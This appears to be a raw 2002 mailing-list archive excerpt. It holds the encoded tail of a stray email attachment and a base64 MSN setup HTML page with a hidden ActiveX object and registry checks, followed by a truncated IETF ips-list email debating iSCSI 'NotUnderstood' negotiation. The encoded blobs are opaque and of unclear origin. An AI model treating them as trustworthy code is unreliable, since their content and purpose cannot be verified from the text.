AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA=9 --M128O832622827o Content-Type: application/octet-stream; name=MSTART.HTM Content-Transfer-Encoding: base64 Content-ID: PGh0bWw+DQoJPGhlYWQ+DQoJCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9j c3MiIGhyZWY9Im1tc29ic2hlLmNzcyI+DQoJCTxNRVRBIGh0dHAtZXF1aXY9IkNvbnRlbnQt VHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiPg0KCQk8b2Jq ZWN0IElEPSJtc25TZXR1cCIgQ0xBU1NJRD0iQ0xTSUQ6MzRDOTk5MEYtQ0JENy0xMUQyLUFF MEUtMDBDMDRGQUVBODNGIiBzdHlsZT0iZGlzcGxheTpub25lOndpZHRoOjBweDtoZWlnaHQ6 MHB4IiB2aWV3YXN0ZXh0Pjwvb2JqZWN0Pg0KCQk8c2NyaXB0IGxhbmd1YWdlPSJKYXZhc2Ny aXB0Ij4NCgkJCXZhciBFUlJfQ09NTV9OT19FUlJPUiAgICAgICAgICAgID0gMDsNCgkJCXZh ciBFUlJfQ09NTV9PT0JFX0NPTVBfTUlTU0lORyAgID0gMTsNCgkJCXZhciBFUlJfQ09NTV9V TktOT1dOICAgICAgICAgICAgID0gMjsgICAgICAgIC8vIFVua25vdyBlcnJvciwgY2hlY2sg aW5wdXQgcGFyYW1ldGVycw0KCQkJdmFyIEVSUl9DT01NX05PTU9ERU0gICAgICAgICAgICAg PSAzOyAgICAgICAgLy8gVGhlcmUgaXMgbm8gbW9kZW0gaW5zdGFsbGVkDQoJCQl2YXIgRVJS X0NPTU1fUkFTX1RDUF9OT1RJTlNUQUxMICA9IDQ7DQoJCQl2YXIgblJlc3VsdDsNCgkJCXZh ciBBcGlPYmo7DQoJCQl2YXIgSEtFWV9MT0NBTF9NQUNISU5FID0gMHg4MDAwMDAwMjsNCgkJ CXZhciBPT0JFX01BSU5fUkVHX0tFWSA9ICJTb2Z0d2FyZVxcTWljcm9zb2Z0XFxBY3RpdmUg U2V0dXBcXEluc3RhbGxlZCBDb21wb25lbnRzXFx7NDRCQkE4NDAtQ0M1MS0xMUNGLUFBRkEt MDBBQTAwQjYwMTVDfSI7DQoJCQl2YXIgRmxhZyA9IDA7DQoJCQl2YXIgSU5TVEFMTF9NT0RF TSA9IDE7DQoJCQl2YXIgSU5TVEFMTF9PRSA9IDI7DQoJCQl2YXIgTUFLRV9TUEFDRSA9IDM7 DQoJCQl2YXIgSU5TVEFMTF9EVU5UQ1AgPSA0Ow0KCQkJDQoJCQlmdW5jdGlvbiBDbG9zZVdp bmRvdygpew0KCQkJDQoJCQl2YXIgTF9zdHJDbG9zZVdpbmRvd19UZXh0ID0iQ2xpY2sgT0sg dG8gZXhpdCBNU04gSW50ZXJuZXQgQWNjZXNzIFNldHVwLiI7DQoJCQlpZiAoY29uZmlybShM X3N0ckNsb3NlV2luZG93X1RleHQpKXsNCgkJCQkJd2luZG93LmV4dGVybmFsLkZpbmlzaCgp Ow0KCQkJCX0NCgkJCX0NCg0KCQkJZnVuY3Rpb24gTVNOR29OZXh0KCl7DQoJCQkJdHJ5DQoJ CQkJew0KCQkJCQl2YXIgYlJlYm9vdDsNCgkJCQkJYlJlYm9vdCA9IDA7DQoJCQkJCW5SZXN1 bHQgPSB3aW5kb3cuZXh0ZXJuYWwuQ2hlY2tEaWFsUmVhZHkoKTsNCgkJCQkJdmFyIExfc3Ry UmVib290X1RleHQgPSAiV2UgbmVlZCB0byByZWJvb3QgeW91ciBtYWNoaW5lLiBDbGljayBP ayB0byBSZWJvb3Qgb3IgQ2FuY2VsIHRvIGNvbnRpbnVlLiI7DQoJCQkJCXZhciBmTW9kZW1S ZURldGVjdGVkID0gZmFsc2U7DQoJCQkJCWlmIChuUmVzdWx0ID09IEVSUl9DT01NX05PTU9E RU0pew0KCQkJCQkJblJlc3VsdCA9IG1zblNldHVwLkludm9rZU1vZGVtV2l6YXJkKCk7DQoJ CQkJCQlmTW9kZW1SZURldGVjdGVkID0gdHJ1ZTsNCgkJCQkJfQ0KCQkJCQlpZiAoblJlc3Vs dCA9PSBFUlJfQ09NTV9SQVNfVENQX05PVElOU1RBTEwpew0KCQkJCQkJbXNuU2V0dXAuSW5z dGFsbERpYWx1cENvbXBvbmVudHMoYlJlYm9vdCk7DQoJCQkJCQlmTW9kZW1SZURldGVjdGVk ID0gdHJ1ZTsNCgkJCQkJCWlmIChjb25maXJtKExfc3RyUmVib290X1RleHQpKXsNCgkJCQkJ CQl3aW5kb3cuZXh0ZXJuYWwuUG93ZXJEb3duKDEpOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJ CWlmIChuUmVzdWx0ID09IEVSUl9DT01NX05PTU9ERU0gKyBFUlJfQ09NTV9SQVNfVENQX05P VElOU1RBTEwpew0KCQkJCQkJbXNuU2V0dXAuSW52b2tlTW9kZW1XaXphcmQoKTsNCgkJCQkJ CW1zblNldHVwLkluc3RhbGxEaWFsdXBDb21wb25lbnRzKGJSZWJvb3QpOw0KCQkJCQkJZk1v ZGVtUmVEZXRlY3RlZCA9IHRydWU7DQoJCQkJCQlpZiAoY29uZmlybShMX3N0clJlYm9vdF9U ZXh0KSl7DQoJCQkJCQkJd2luZG93LmV4dGVybmFsLlBvd2VyRG93bigxKTsNCgkJCQkJCX0N CgkJCQkJfQ0KDQoJCQkJCWlmIChmTW9kZW1SZURldGVjdGVkKQ0KCQkJCQkJd2luZG93LnBh cmVudC5SZUNoZWNrTW9kZW0oKTsNCg0KCQkJCQl3aW5kb3cucGFyZW50LkdvTmV4dCgpOw0K CQkJCX0NCgkJCQljYXRjaCAoZSkNCgkJCQl7DQoJCQkJCXZhciBMX3N0clVuZXhwZWN0ZWRf VGV4dCA9ICJBbiB1bmV4cGVjdGVkIGVycm9yIGhhcyBvY2N1cnJlZC4gIFBsZWFzZSBjYWxs IE1TTiBUZWNobmljYWwgU3VwcG9ydC4iOw0KCQkJCQlhbGVydChMX3N0clVuZXhwZWN0ZWRf VGV4dCk7DQoJCQkJfQ0KCQkJfQ0KDQoJCTwvc2NyaXB0Pg0KCTwvaGVhZD4NCgk8Ym9keSBU QUJJTkRFWD0iLTEiIGJhY2tncm91bmQ9Ii4uL2ltYWdlcy9tc253dHJtay5naWYiIG9ubG9h ZD0id2luZG93LnBhcmVudC5fRGVmYXVsdF9Mb2FkTWUoKTsiPg0KDQoJCTxpbWcgaWQ9Imlt Z1VwcGVyTGVmdENvcm5lciIgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlO3RvcDowcHg7bGVm dDowcHg7dmlzaWJpbGl0eTpoaWRkZW4iIFNSQz0iLi4vaW1hZ2VzL01TTmxvZ28uZ2lmIiB3 aWR0aD0iODAiIGhlaWdodD0iNDMiPg0KCQkJCTxzY3JpcHQgTEFOR1VBR0U9ImphdmFzY3Jp cHQiPg0KCQk8IS0tDQoJCWZ1bmN0aW9uIHNldEltYWdlUG9zaXRpb24ob0ltZywgc3pIb3Jp em9udGFsLCBzelZlcnRpY2FsKSB7DQoJCS8vIFBvc2l0aW9uIG9JbWcgaW1hZ2UgdG8gYWJz b2x1dGUgY29vcmRpbmF0ZXMgYmFzZWQgb24gc3pWZXJ0aWNhbCh1cHBlciwgbG93ZXIpIGFu ZCBzekhvcml6b250YWwobGVmdCwgcmlnaHQpDQoJCQl2YXIgeDsNCgkJCXZhciB5Ow0KCQkJ Ly9hbGVydCgnYm9keTpcblc6ICcgKyBkb2N1bWVudC5ib2R5Lm9mZnNldFdpZHRoICsgJ1xu SDogJyArIGRvY3VtZW50LmJvZHkub2Zmc2V0SGVpZ2h0KTsNCgkJCXggPSBzekhvcml6b250 YWwudG9Mb3dlckNhc2UoKSA9PSAnbGVmdCcgPyAwIDogZG9jdW1lbnQuYm9keS5jbGllbnRX aWR0aCAtIG9JbWcud2lkdGggLSAxNTsNCgkJCXkgPSBzelZlcnRpY2FsLnRvTG93ZXJDYXNl KCkgPT0gJ3VwcGVyJyA/IDAgOiBkb2N1bWVudC5ib2R5LmNsaWVudEhlaWdodCAtIG9JbWcu aGVpZ2h0IC0gMTY7DQoJCQlvSW1nLnN0eWxlLmxlZnQgPSB4Ow0KCQkJb0ltZy5zdHlsZS50 b3AgPSB5OwkNCgkJCS8vYWxlcnQoJ1g6ICcgKyB4ICsgJ1xuWTogJyArIHkpOw0KCQkJb0lt Zy5zdHlsZS52aXNpYmlsaXR5ID0gJ3Zpc2libGUnOwkNCgkJfQ0KDQoJCXNldEltYWdlUG9z aXRpb24oIGltZ1VwcGVyTGVmdENvcm5lciwgJ2xlZnQnLCAndXBwZXInICk7DQoJCS8vLS0+ DQoJCTwvc2NyaXB0Pg0KCQk8c3BhbiBUQUJJTkRFWD0iLTEiIGNsYXNzPSJwYWdlVGl0bGUi Pg0KICAgICAgICAgICAgPGRpdiBUQUJJTkRFWD0iLTEiIGlkPSJTdGFydF9USVRMRTEiPldl bGNvbWUgdG8gTVNOIEludGVybmV0IEFjY2VzcyE8L2Rpdj4NCiAgICAgICAgPC9zcGFuPg0K CQk8c2NyaXB0IGxhbmd1YWdlPWphdmFzY3JpcHQ+DQoJCWlmIChTdGFydF9USVRMRTEub2Zm c2V0SGVpZ2h0ID4gMzApew0KCQkJdmFyIExfc3RyU21hbGxGb250X1RleHQgPSAnWW91IG11 c3Qgb3BlcmF0ZSBpbiBzbWFsbCBmb250IG1vZGUgdG8gdmlldyBNU04gSW50ZXJuZXQgQWNj ZXNzLic7DQoJCQlhbGVydChMX3N0clNtYWxsRm9udF9UZXh0KTsNCgkJCXdpbmRvdy5leHRl cm5hbC5GaW5pc2goKTsNCgkJfQ0KCQk8L3NjcmlwdD4NCgkJPHNwYW4gVEFCSU5ERVg9Ii0x IiBjbGFzcz0icGFnZVN1YlRpdGxlIj4NCgkJCTxkaXYgSUQ9IlN0YXJ0X1RpdGxlIj48YnI+ R2V0IGZhc3QsIHJlbGlhYmxlIEludGVybmV0IEFjY2VzcyBhbmQgZS1tYWlsIGZyb20gTWlj cm9zb2Z0PC9kaXY+DQoJCTwvc3Bhbj4NCgkJPHNwYW4gVEFCSU5ERVg9Ii0xIiBDTEFTUz0i Y29udGVudHMiPg0KICAgICAgICAgICAgPGRpdiBUQUJJTkRFWD0iLTEiIElEPSJTdGFydF9J TkZPMSI+PGJyPldlJ2xsIG5vdyBndWlkZSB5b3UgdGhyb3VnaCB0aGUgc2V0dXAgcHJvY2Vz cy48L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgVEFCSU5ERVg9Ii0xIiBJRD0iU3RhcnRfSU5G TzIiPk5vdGU6IFRoaXMgcHJvY2VzcyBpcyBmb3IgYm90aCBuZXcgYW5kIGV4aXN0aW5nIE1T TiBtZW1iZXJzLjwvZGl2Pg0KICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAgPHNjcmlw dCBsYW5ndWFnZT1KYXZhc2NyaXB0Pg0KICAgICAgICAgICAgCWlmIChudWxsID09IEFwaU9i aikNCgkJCQl7DQoJCQkJCUFwaU9iaiA9IG5ldyBPYmplY3Q7DQoJCQkJCUFwaU9iaiA9IHdp bmRvdy5leHRlcm5hbC5BUEk7DQoJCQkJfQ0KCQkJCW5SZXN1bHQgPSAwOw0KCQkJCW5SZXN1 bHQgPSB3aW5kb3cuZXh0ZXJuYWwuQ2hlY2tEaWFsUmVhZHkoKTsNCgkJCQlpZiAoblJlc3Vs dCA9PSBFUlJfQ09NTV9OT01PREVNKXsNCgkJCQkJblJlc3VsdCArPSBFUlJfQ09NTV9OT01P REVNOw0KCQkJCQl2YXIgTF9zdHJNb2RlbUluc3RhbGxfVGV4dCA9ICJXZSB3aWxsIG5lZWQg dG8gaW5zdGFsbCBhIG1vZGVtIGJlZm9yZSBjb250aW51aW5nLiI7DQoJCQkJCWRvY3VtZW50 LndyaXRlKCI8ZGl2PjxiPiIgKyBMX3N0ck1vZGVtSW5zdGFsbF9UZXh0ICsgIjwvYj48L2Rp dj4iKTsNCgkJCQl9DQoJCQkJaWYgKG5SZXN1bHQgPT0gRVJSX0NPTU1fUkFTX1RDUF9OT1RJ TlNUQUxMKXsNCgkJCQkJblJlc3VsdCArPSBFUlJfQ09NTV9SQVNfVENQX05PVElOU1RBTEw7 DQoJCQkJCXZhciBMX3N0ckRVTkluc3RhbGxfVGV4dCA9ICJXZSB3aWxsIG5lZWQgdG8gaW5z dGFsbCBhIG1vZGVtIGJlZm9yZSBjb250aW51aW5nLiI7DQoJCQkJCWRvY3VtZW50LndyaXRl KCI8ZGl2PjxiPiIgKyBMX3N0ckRVTkluc3RhbGxfVGV4dCArICI8L2I+PC9kaXY+Iik7DQoJ CQkJfQ0KCQkJCWRvY3VtZW50LndyaXRlKCI8YnI+Iik7DQoNCgkJCQkvKm5SZXN1bHQgPSBt c25TZXR1cC5GcmVlRGlza1NwYWNlOw0KCQkJCWlmIChuUmVzdWx0IDwgMTAwMDAwMCl7DQoJ CQkJCUZsYWcgKz0gTUFLRV9TUEFDRTsNCgkJCQl9DQoJCQkJZG9jdW1lbnQud3JpdGUoIllv dSBoYXZlICIrblJlc3VsdCsiIG1lZ3MgZnJlZSBvbiB5b3VyIGRyaXZlLiIpOyovDQoJCQkJ Ly9UaGlzIGlzIHRvIGNoZWNrIGlmIE9FIGlzIGluc3RhbGxlZC4uIG5lZWQgdG8gZmluZCBv dXQgYWJvdXQgdGhlIHJlZyBrZXkgdG8gY2hlY2suDQoJCQkJdHJ5DQoJCQkJew0KCQkJCQlu UmVzdWx0ID0gQXBpT2JqLmdldF9SZWdWYWx1ZShIS0VZX0xPQ0FMX01BQ0hJTkUsIE9PQkVf TUFJTl9SRUdfS0VZLCAiSXNJbnN0YWxsZWQiKTsNCgkJCQl9DQoJCQkJY2F0Y2ggKGUpDQoJ CQkJew0KCQkJCQluUmVzdWx0ID0gMDsNCgkJCQl9DQoNCgkJCQlpZiAoblJlc3VsdCAhPSAx KXsNCgkJCQkJdmFyIExfc3RyT3V0bG9va19UZXh0ID0gIldlIHdpbGwgbmVlZCB0byBpbnN0 YWxsIE91dGxvb2sgRXhwcmVzcyA1IGJlZm9yZSBjb250aW51aW5nLiI7DQoJCQkJCWRvY3Vt ZW50LndyaXRlKCI8YnI+IiArIExfc3RyT3V0bG9va19UZXh0KTsNCgkJCQl9DQoJCQkJDQoJ CQkJLy9BcGlPYmouZ2V0X1VzZXJEZWZhdWx0TENJRCgpDQoJCQk8L3NjcmlwdD4NCiAgICAg ICAgICAgIDxkaXYgVEFCSU5ERVg9Ii0xIiBJRD0iU3RhcnRfSU5GTzMiPlBsZWFzZSBjbGlj ayBOZXh0IHRvIGNvbnRpbnVlLjwvZGl2Pg0KCQkJPGJyPgkJDQoJCTwvc3Bhbj4NCg0KCQk8 c3BhbiBUQUJJTkRFWD0iLTEiIGlkPSJuYXZiYXIiIENMQVNTPSJuYXZiYXIiPg0KCQkJPEhS IE5PU0hBREUgQ0xBU1M9ImJsYWNrQmFyIj4NCgkJCTxTUEFOIFRBQklOREVYPS0xIElkPXNw YW5DYW5jZWwgb25jbGljaz0iQ2xvc2VXaW5kb3coKTsiPg0KCQkJCTxJTUcgSWQ9YnRuQ2Fu Y2VsICBjbGFzcz1jYW5jZWxCdXR0b24+DQoJCQkJPExBQkVMIFRBQklOREVYPTEgQUNDRVNT S0VZPSJDIiBmb3I9ImJ0bkNhbmNlbFRleHQiIElkPWJ0bkNhbmNlbFRleHQgY2xhc3M9Y2Fu Y2VsQnV0dG9uVGV4dD4NCgkJCQkJPElEIGlkPSJUYXBpX0NBTkNFTCI+PFU+QzwvVT5hbmNl bDwvSUQ+DQoJCQkJPC9MQUJFTD4NCgkJCTwvU1BBTj4NCgkJCTxzcGFuIFRBQklOREVYPSIt MSIgSWQ9InNwYW5OZXh0IiBvbmNsaWNrPSJNU05Hb05leHQoKTsiPg0KCQkJCTxpbWcgSWQ9 ImJ0bk5leHQiIGNsYXNzPSJuZXh0QnV0dG9uIj4NCgkJCQk8bGFiZWwgVEFCSU5ERVg9MiBB Q0NFU1NLRVk9Ik4iIGZvcj0iYnRuTmV4dFRleHQiIElkPSJidG5OZXh0VGV4dCIgY2xhc3M9 Im5leHRCdXR0b25UZXh0Ij4NCiAgICAgICAgICAgICAgICA8aWQgaWQ9IkxPQ0FMX05FWFQi Pjx1Pk48L3U+ZXh0PC9pZD4NCgkJCQk8L2xhYmVsPg0KCQkJPC9zcGFuPg0KCQk8L3NwYW4+ DQoJPC9ib2R5Pg0KPC9odG1sPg0K --M128O832622827o-- From owner-ips@ece.cmu.edu Sat Aug 10 23:49:16 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA25076 for ; Sat, 10 Aug 2002 23:49:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7B3FrF14151 for ips-outgoing; Sat, 10 Aug 2002 23:15:53 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7B3Fqo14147 for ; Sat, 10 Aug 2002 23:15:52 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id AA82830726; Sat, 10 Aug 2002 23:15:51 -0400 (EDT) Date: Sat, 10 Aug 2002 20:11:48 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: Julian Satran Cc: Subject: RE: Problem with use of NotUnderstood in negotiations In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Sat, 10 Aug 2002, Julian Satran wrote: > Bill, > > Perhaps the text is unabiguos but you just ignored the text that forbids > it. Julian, I must say that the tone above is very unbecoming of the author of a protocol spec. In the past, I've often gotten snippy comments from you, but written them off to, well, I'm not sure what. But it seems that you really don't listen to what I say. You read a message, make an interpretation, do not question that interpretation, and then you run with it. That's really bad. Besides being quite rude and exceedingly arrogant, you'll miss things. And the iSCSI spec will suffer for it. Do you think whatever is going on between us worth more than a bad iSCSI spec? I don't. Also, if you're going to say that the text is unambiguous, please quote said text. That makes the discussion much clearer. > The use of Notunderstood is limited to responses. Using it as you suggest > is a protocol error. Julian, I have to ask, what exactly do you think I'm suggesting? From parsing your sentence, I read that you are telling me that I'm suggesting using NotUnderstood outside its limited scope, of responses. As I understand the situation I described, both parties think they are using NotUnderstood as a response. How is using it as a response outside its use as a response? > A repeated use will also violate the "no renegotiation rule". Please be VERY VERY VERY careful when saying that. Have you thought about what the statement you just made will imply? We are (or at least I started) talking about the case where one side THOUGHT it sent key X, but somehow it was key Y that made it to the other side. Be it a bug in the code on one side or the other, a PCI bus error in transfer, a router glitch, or what. Key Y doesn't exist in the spec, and it's in the negotiation stream. OGMarker or DataPDPInOrder would be examples. The point is, BOTH SIDES THINK THEY ARE RESPONDING to a key they don't understand. Reading the spec, it succinctly states if you get a key you don't understand, you MUST reply "NotUnderstood". Getting back to the 